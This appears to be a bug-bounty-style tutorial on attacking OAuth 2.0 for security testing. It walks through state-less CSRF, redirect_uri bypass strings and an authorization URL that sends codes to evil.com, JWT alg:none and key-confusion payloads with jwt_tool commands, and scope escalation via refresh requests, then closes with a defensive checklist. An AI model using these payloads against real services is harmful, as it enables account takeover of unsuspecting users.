OAuth 2.0 is the dominant authorization framework used by virtually every major web platform — ‘Sign in with Google’, ‘Log in with GitHub’, and third-party API integrations all use it. OAuth’s complexity and the number of implementation choices create a wide attack surface. Vulnerabilities range from authorization code interception to open redirect token theft, CSRF attacks, and logic flaws in token validation. This guide covers the most impactful OAuth 2.0 security vulnerabilities from an attacker’s perspective.
OAuth 2.0 Flows Overview
Authorization Code Flow (most common, most secure):
1. User clicks 'Login with Provider'
2. App redirects to: provider.com/auth?client_id=APP&redirect_uri=app.com/callback&scope=email&state=RANDOM
3. User authenticates at provider
4. Provider redirects to: app.com/callback?code=AUTH_CODE&state=RANDOM
5. App exchanges code for tokens: POST /token with code + client_secret
6. Provider returns access_token + refresh_token
Implicit Flow (deprecated, insecure - tokens in URL fragment):
- access_token returned directly in redirect URL
- Vulnerable to Referer header leakage, browser history theft
Client Credentials Flow (machine-to-machine, no user involved)1. CSRF on OAuth Callback
If the state parameter is missing or not validated, an attacker can force a victim to link the attacker’s account to their account:
Attack flow:
1. Attacker starts OAuth login: provider.com/auth?client_id=APP&redirect_uri=app.com/callback
2. Attacker receives auth code: app.com/callback?code=ATTACKER_CODE
3. Attacker stops before the code is exchanged
4. Attacker crafts: <img src='app.com/callback?code=ATTACKER_CODE'>
5. Victim (already logged in to target app) loads attacker's page
6. Victim's browser sends request to callback URL with attacker's code
7. Target app links attacker's OAuth identity to victim's account
8. Attacker can now log in as victim using their own OAuth account
Test: Check if 'state' parameter is present in OAuth request
Test: Check if 'state' is validated on callback (modify/remove it - should fail)2. Open Redirect in redirect_uri
If the authorization server doesn’t strictly validate the redirect_uri, attackers can steal authorization codes:
# Registered: https://app.com/callback
# Bypass attempts:
https://app.com/callback/../evil # Path traversal
https://app.com.evil.com # Domain confusion
https://app.com/callback?redirectTo=evil.com # Open redirect within app
https://app.com/callback#@evil.com # Fragment confusion
# Attack flow:
# 1. Craft URL with attacker's server as redirect
https://provider.com/auth?client_id=APP&redirect_uri=https://evil.com/steal&response_type=code
# 2. Trick victim into visiting this URL
# 3. Victim authenticates, code sent to evil.com
# 4. Attacker exchanges code for tokens at provider3. Authorization Code Interception
# Code in Referer header when redirect page loads external resources
# After redirect to: app.com/callback?code=SECRET_CODE
# If the page loads: <img src='https://analytics.com/track.gif'>
# The Referer header contains: app.com/callback?code=SECRET_CODE
# Analytics server logs the code!
# Test: Check if callback page loads external resources before code is consumed
# PKCE prevents code interception attacks:
# Client creates code_verifier (random), sends code_challenge=hash(code_verifier) in auth request
# Exchange requires sending code_verifier - only the legitimate client can do this
pkce_code_verifier=$(openssl rand -base64 32 | tr -d '+/=' | head -c 43)
pkce_code_challenge=$(echo -n $pkce_code_verifier | sha256sum -b | cut -d ' ' -f1 | xxd -r -p | base64 | tr '+/' '-_' | tr -d '=')4. Token Validation Flaws
# JWT algorithm confusion (alg:none)
# Change header 'alg' to 'none', remove signature
header: {'alg':'none','typ':'JWT'}
payload: {'sub':'victim_id','admin':true}
signature: (empty)
# RS256 to HS256 confusion
# If server accepts HS256, sign JWT with RS256 public key as HMAC secret
# jwt_tool.py automates this:
jwt_tool eyJ... -X a # alg:none attack
jwt_tool eyJ... -X k # key confusion attack
# Missing aud/iss validation
# Obtain valid token from evil.com (uses same provider)
# Replay at good.com if audience not validated5. Scope Manipulation
# Try adding elevated scopes to authorization request
# Original: scope=email+profile
# Attack: scope=email+profile+admin+user:write
# Check if the server grants requested scopes without restriction
# Inspect access_token (JWT) or token introspection endpoint
# Try scope escalation during token refresh:
POST /token
grant_type=refresh_token
refresh_token=VALID_TOKEN
scope=admin # Try upgrading scope on refreshTesting OAuth with Burp Suite
Setup:
1. Configure Burp proxy, intercept all OAuth traffic
2. Map the full OAuth flow in Burp's Site Map
3. Note the authorization endpoint, token endpoint, redirect_uri, state, scope
Tests to run:
[ ] Remove state parameter - does callback still work?
[ ] Modify state parameter - is it validated?
[ ] Modify redirect_uri - is strict validation enforced?
[ ] Try path traversal in redirect_uri
[ ] Try reusing an authorization code twice
[ ] Check callback page for Referer-leaking resources
[ ] Test PKCE: does removing code_challenge break the flow?
[ ] Test token with modified claims (if JWT)
[ ] Test scope expansion in refresh token requestsReal-World OAuth Vulnerabilities
OAuth vulnerabilities have been found in major platforms:
Facebook (2013): Token scope manipulation allowed reading private messages
Microsoft (2016): Account takeover via open redirect in OAuth callback
GitHub (2022): OAuth app token abuse allowed unauthorized repo access
Dropbox (2012): OAuth CSRF attack linked attacker account to victim
Bug bounty programs consistently reward OAuth vulnerabilities:
- CSRF (missing state): Medium to High
- Open redirect in redirect_uri: High to Critical
- Account takeover via OAuth: Critical (P1)Secure OAuth Implementation
Authorization Server requirements:
- Strict redirect_uri validation (exact match, no wildcards)
- Require and validate state parameter
- Short-lived authorization codes (10 minutes max)
- Authorization codes usable only once
- Implement PKCE for all public clients
- Use JWT with algorithm pinning (never accept alg:none)
- Validate aud, iss, exp on every token check
Client application requirements:
- Generate cryptographically random state per request
- Validate state before processing callback
- Store tokens securely (HttpOnly cookies, not localStorage)
- Use PKCE for SPA and mobile clients
- Implement token rotation on refreshConclusion
OAuth 2.0 vulnerabilities frequently lead to account takeover — the highest severity class of web vulnerabilities. The most impactful findings come from missing state parameter validation (CSRF), open redirect in redirect_uri (code theft), and JWT algorithm confusion. When testing OAuth implementations, map the complete flow in Burp Suite, test every redirect_uri bypass technique, and always check if state is validated on callback. Bug bounty hunters regularly find critical OAuth vulnerabilities even in large, mature applications.